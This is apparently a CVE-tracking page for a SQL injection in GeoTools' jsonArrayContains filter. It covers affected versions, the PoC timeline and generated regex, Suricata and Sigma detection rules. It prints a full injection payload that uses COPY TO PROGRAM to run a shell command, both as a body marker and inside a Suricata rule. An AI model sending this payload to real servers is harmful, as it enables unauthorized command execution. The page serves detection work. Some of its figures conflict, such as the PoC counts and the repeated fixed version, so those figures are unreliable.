PoC Monitor
← All CVEs
CVE-2026-76904published 21 Aug 2026 20:13 UTCData: JSON · API

GeoTools

GeoTools has unauthenticated SQL injection in the jsonArrayContains filter function against PostGIS layers

GeoTools is an open source Java library that provides tools for geospatial data. Starting in version 30.5 and prior to versions 33.6, 34.5, and 33.6, an SQL Injection Vulnerability is present when executing OGC Filters with PostGIS DataStore implementation: `jsonArrayContains` function; Requires PostGIS 12 or greater with a String or JSON field. For PostGIS 12 and greater `jsonArrayContains(<column>, <pointer>, <value>)` function writes `<value>` into generated SQL without escaping. Patches are available in versions 33.6, 34.5, and 33.6. No known workaround is available. To limit scope of SQL Injection the PostGIS connection pool should be configured with limited rights.

First public PoC 5.5 days beforebefore publication · 16 Aug 2026
Public PoCs32 on GitHub · 1 Exploit-DB, Metasploit or nuclei
CVSS9.8critical · scored by CNA · CWE-89
CISA KEV Not listednot known exploited

Affected versions and mitigation

From the CVE record and the vendor's references.

Affected

geotools geotools
  • = 35.0
  • >= 34.0, < 34.5
  • >= 30.5, < 33.6

Fixed in 34.5, 33.6

Timeline

Days relative to CVE publication
-6-4-2t=0+2+4+6+8First public PoC16 Aug 2026 · t−5.5dCVE published21 Aug 2026 · t = 0

First public PoC 5.5 days before publication; not in CISA KEV. First PoC: YonLiud/CVE-2026-76904 (created 16 Aug 2026, found by us: backfilled).

PoC repositories

Found on GitHub.

2 PoCs

PoCs 2
RepositoryCreatedStarsAssessment
YonLiud/CVE-2026-76904 16 Aug 2026 −5.5 d 6 PoC
bickZero93/CVE-2026-76904 26 Aug 2026 +4.6 d 1 PoC
Flags · score 15
  • owner account created less than 30 days before the repo

Below the suspicion threshold (50); does not change the assessment.

Only PoCs count toward the first-PoC date and the characteristics below. Do not run PoC code from unknown sources.

Other public exploits

Exploit-DB, Metasploit and nuclei count as public PoCs. Exploit-tagged references from the CVE record and NVD are links only. None of these are analysed by us.
SourceTitlePublishedFound by us
nuclei templatenuclei template: GeoServer jsonArrayContains CQL Filter - SQL Injection24 Aug 202614 Nov 2026

PoC characteristics

What to hunt for in your logs · from 2 PoC repos

GET /{var}/ows

Query
service=WFS version=2.0.0 request=GetFeature typeNames= outputFormat=application/json CQL_FILTER=
Ports
8080
Seen in
1 repo: YonLiud/CVE-2026-76904
Evidence
YonLiud/CVE-2026-76904/exploit.py:34

POST /geoserver/rest/workspaces/topp/datastores

Content-Type
application/xml
Ports
8080
Seen in
1 repo: YonLiud/CVE-2026-76904
Evidence
YonLiud/CVE-2026-76904/README.md:115

POST /geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes

Content-Type
application/xml
Ports
8080
Seen in
1 repo: YonLiud/CVE-2026-76904
Evidence
YonLiud/CVE-2026-76904/README.md:132

POST /geoserver/topp/ows

Body markers
service=WFS version=2.0.0 request=GetFeature typeNames=topp:test_json outputFormat=application/json CQL_FILTER=jsonArrayContains(data,'/x','y")\'') OR 1=1)) AS gt_injected; COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true in application/x-www-form-urlencoded
Ports
8080
Seen in
1 repo: YonLiud/CVE-2026-76904
Evidence
YonLiud/CVE-2026-76904/README.md:66

Regex

Generated from PoC characteristics; not yet reviewed. Matches the request path and query.

GET /{var}/ows
(?i)^/[^/?#]*/ows\?(?:.*&)?service=WFS.*version=2\.0\.0.*request=GetFeature.*typeNames=.*outputFormat=application/json.*CQL_FILTER=
POST /geoserver/rest/workspaces/topp/datastores
(?i)^/geoserver/rest/workspaces/topp/datastores(?:[?#].*)?$
POST /geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes
(?i)^/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes(?:[?#].*)?$
POST /geoserver/topp/ows
(?i)^/geoserver/topp/ows(?:[?#].*)?$

Suricata

Template generated from PoC characteristics. Review before deploying.

GET /{var}/ows
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/ows"; http.uri; content:"service=WFS"; http.uri; content:"version=2.0.0"; http.uri; content:"request=GetFeature"; http.uri; content:"typeNames="; http.uri; content:"outputFormat=application/json"; http.uri; content:"CQL_FILTER="; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9156297; rev:1;)
POST /geoserver/rest/workspaces/topp/datastores
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/geoserver/rest/workspaces/topp/datastores"; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9719799; rev:1;)
POST /geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes"; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9430333; rev:1;)
POST /geoserver/topp/ows
alert http any any -> $HOME_NET [8080] (msg:"GG PoC-Monitor CVE-2026-76904 geotools geotools exploit attempt"; flow:established,to_server; http.method; content:"POST"; http.uri; content:"/geoserver/topp/ows"; http.request_body; content:"service=WFS"; http.request_body; content:"version=2.0.0"; http.request_body; content:"request=GetFeature"; http.request_body; content:"typeNames=topp:test_json"; http.request_body; content:"outputFormat=application/json"; http.request_body; content:"CQL_FILTER=jsonArrayContains(data,'/x','y|22|)|5c|'') OR 1=1)) AS gt_injected|3b| COPY (SELECT 1) TO PROGRAM 'whoami > /tmp/pwned.txt' --')=true"; reference:url,poc.griffinguard.io/cve/CVE-2026-76904; classtype:web-application-attack; sid:9351846; rev:1;)

Sigma

Template generated from PoC characteristics. Review before deploying.

GET /{var}/ows
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9156297
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
  category: webserver
detection:
  selection:
    cs-method: GET
    cs-uri-stem|contains|all:
      - '/ows'
    cs-uri-query|contains|all:
      - 'service=WFS'
      - 'version=2.0.0'
      - 'request=GetFeature'
      - 'typeNames='
      - 'outputFormat=application/json'
      - 'CQL_FILTER='
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.76904
POST /geoserver/rest/workspaces/topp/datastores
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9719799
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/geoserver/rest/workspaces/topp/datastores'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.76904
POST /geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9430333
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/geoserver/rest/workspaces/topp/datastores/test_json_store/featuretypes'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.76904
POST /geoserver/topp/ows
title: geotools geotools exploit attempt (CVE-2026-76904)
id: gg-pocmon-cve-2026-76904-9351846
status: experimental
description: Request pattern taken from public PoCs for CVE-2026-76904. Generated, not reviewed.
references:
  - https://poc.griffinguard.io/cve/CVE-2026-76904
logsource:
  category: webserver
detection:
  selection:
    cs-method: POST
    cs-uri-stem|contains|all:
      - '/geoserver/topp/ows'
  condition: selection
falsepositives:
  - Authorized vulnerability scanning
level: critical
tags:
  - attack.initial_access
  - attack.t1190
  - cve.2026.76904